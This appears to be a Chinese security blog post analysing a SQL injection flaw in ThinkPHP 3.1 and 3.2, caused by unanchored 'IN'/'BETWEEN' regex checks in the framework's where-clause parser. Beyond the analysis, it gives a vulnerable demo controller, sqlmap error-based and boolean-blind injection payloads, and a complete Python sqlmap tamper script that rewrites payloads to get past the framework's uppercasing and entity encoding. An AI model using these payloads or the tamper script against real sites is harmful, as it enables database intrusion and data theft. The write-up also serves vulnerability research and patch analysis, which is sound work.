ThinkPHP 3.1、3.2一个通用的漏洞分析

  • A+
所属分类:漏洞时代
摘要

Author:m3d1t10n前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。

Author:m3d1t10n

前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。

0x00官方补丁(DB.class.php parseWhereItem($key,$val))
注意红色框框起来的部分
ThinkPHP 3.1、3.2一个通用的漏洞分析

0x01分析

preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入   preg_match('/BETWEEN/i',$val[0]) //同上

0x02验证

class IndexAction extends Action {     public function index(){           $user  =  I("param.user");       $pass  =  I("param.pass");       $where["user"] = $user;       $where["pass"] = $pass;                       var_dump($where);         $model = M("user");         $data =  $model->where($where)->select();       echo $model->getLastSql(); //   打印sql语句       echo "<br/>";       var_dump($data);     // 打印数据       die(mysql_error());  //  打印错误

1.1正常访问
ThinkPHP 3.1、3.2一个通用的漏洞分析
1.2poc
ThinkPHP 3.1、3.2一个通用的漏洞分析

0x03编写支持此注入的tamper (支持mysql)
3.1由于php中有这样一段话,会将我们插入的语句全变成大写,所以我们要将payloa做一个转换

$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';

3.2sqlmap mysql error based 注入语句

AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) /**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的  **/

3.3sqlmap myql boolean blind 注入语句

 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51     payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))" num = 51 /**  因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成 floor(payload / num.5) 例如:  52>51==1 为真  floor(52/51.5)==1  为真  51>51==0 为假  floor(51/51.5)==0 为假 **/

3.4最后的tamper代码

#__author__ = 'm3d1t10n' import re import binascii #f = open("out.dat","w") def tamper(payload, **kwargs):     d = {"ror":"rand","and":"or"}      #f.write(payload+"/n")     t = re.findall('(0x/w+)',payload.lower())      for expression in t:         d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])        for key in d:         payload = payload.lower().replace(key,d[key])     prefix = "in%20(%27xxx%27))%20"     subfix = "%20--%20"     payload     payload = prefix + payload + subfix     t = re.findall('or (.+)>(/d+)',payload.lower())     #print payload     if t:         payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))     #print payload     #f.write(payload+"/n")     return payload

0x04sqlmap 本地测试
4.1boolean based
ThinkPHP 3.1、3.2一个通用的漏洞分析

ThinkPHP 3.1、3.2一个通用的漏洞分析

ThinkPHP 3.1、3.2一个通用的漏洞分析

thinkphp.py

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: